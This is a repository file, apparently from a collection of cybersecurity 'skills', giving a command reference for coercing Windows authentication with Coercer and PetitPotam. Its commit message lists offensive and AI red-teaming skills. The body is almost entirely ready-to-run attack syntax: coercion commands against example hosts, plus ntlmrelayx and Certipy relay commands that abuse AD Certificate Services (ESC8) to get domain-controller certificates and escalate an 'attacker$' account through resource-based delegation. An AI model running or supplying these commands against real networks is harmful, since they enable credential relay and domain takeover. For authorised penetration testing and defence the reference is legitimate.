Files
Anthropic-Cybersecurity-Skills/skills/coercing-authentication-with-coercer-petitpotam/references/api-reference.md
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mukul975 8cae0648ec Add 55 new skills across 3 new domains + 6 undercovered areas (762 -> 817)
Demand-driven expansion targeting the fastest-growing 2025-2026 threat and
skills categories (ISC2/WEF/CrowdStrike/Mandiant signals):

- AI Security (NEW domain, 12 skills): LLM red-teaming with garak/PyRIT,
  prompt injection (direct/indirect/RAG), MCP tool-poisoning, agentic tool
  invocation, guardrails, model/data poisoning, system-prompt leakage,
  embedding/vector weaknesses, model extraction, continuous red-teaming
- Supply Chain Security (NEW domain, 5 skills): SBOMs, dependency confusion,
  malicious-npm triage, typosquatting, SLSA/Sigstore provenance
- Hardware & Firmware Security (NEW domain, 4 skills): CHIPSEC/UEFI audit,
  Secure Boot bypass, TPM measured-boot attestation, ESP bootkit hunting
- Identity (10): Entra ID/ROADtools, GraphRunner, AADInternals, ADCS/Certipy,
  shadow credentials, coercion, BloodHound CE, device-code phishing, SSO abuse
- Cloud-native (8): Stratus, Pacu, CloudFox, container escape, K8s RBAC,
  Falco, Trivy, kube-bench
- Offensive C2 (6): Sliver, Havoc, NetExec, DPAPI, NTLM relay ESC8, redirectors
- DFIR (6): Hayabusa, Chainsaw, KAPE, Velociraptor, EZ Tools, Plaso
- Backfill (4): OpenCTI, MISP, honeytokens, post-quantum crypto migration

Each skill follows the repo taxonomy (SKILL.md + references/{standards,api-reference}.md
+ scripts/agent.py + LICENSE), with researched real tool commands (no placeholders),
complete frontmatter, and ATT&CK/ATLAS + NIST CSF mappings. Updates README domain
table, skill count, and index.json.
2026-06-22 19:08:16 +02:00

2.4 KiB

Coercion Tooling Reference

Coercer (https://github.com/p0dalirius/Coercer)

Install: pipx install coercer (or sudo python3 -m pip install coercer). Modes: scan, coerce, fuzz.

Flag Meaning
-u, --username Domain username
-p, --password Password
-d, --domain Target domain
--hashes LM:NT Pass-the-hash
-k, --kerberos Kerberos auth
-t, --target Single target host (IP/FQDN)
-f, --targets-file File of targets
-l, --listener Listener IP to receive coerced auth (coerce mode)
-i, --interface Interface/IP to listen on (scan/fuzz modes)
--target-ip Explicit target IP
--always-continue Try all methods, don't stop on first success
--filter-method-name NAME Only run a named method (e.g. PetitPotam)
--filter-protocol-name NAME Filter by protocol (MS-EFSR, MS-RPRN...)
--filter-pipe-name NAME Filter by named pipe (efsrpc, spoolss...)

Examples

coercer scan   -u u -p 'pw' -d corp.local -t 10.0.0.10 -l 10.0.0.50
coercer coerce -u u -p 'pw' -d corp.local -t 10.0.0.10 -l 10.0.0.50 --always-continue
coercer coerce -u u -p 'pw' -d corp.local -t 10.0.0.10 -l 10.0.0.50 --filter-method-name PetitPotam
coercer fuzz   -u u -p 'pw' -d corp.local -t 10.0.0.10 -l 10.0.0.50

PetitPotam (https://github.com/topotam/PetitPotam)

Usage: python3 PetitPotam.py [options] <listener> <target>

Flag Meaning
-u USER Username (authenticated coercion)
-p PASSWORD Password
-d DOMAIN Domain
-hashes LM:NT Pass-the-hash
-pipe PIPE Named pipe (lsarpc, efsr, samr, netlogon, all)

Examples

python3 PetitPotam.py 10.0.0.50 10.0.0.10
python3 PetitPotam.py -u attacker -p 'pw' -d corp.local 10.0.0.50 10.0.0.10

Relay targets

Tool Command
Certipy (ESC8) certipy relay -target http://CA.CORP.LOCAL -template DomainController
ntlmrelayx (ESC8) impacket-ntlmrelayx -t http://CA/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
ntlmrelayx (RBCD) impacket-ntlmrelayx -t ldap://dc.corp.local --delegate-access --escalate-user 'attacker$' -smb2support

12 Coercion Methods (by protocol)

MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), MS-DFSNM (DFSCoerce), MS-FSRVP (ShadowCoerce), MS-EVEN, plus additional RPC methods enumerated by coercer scan.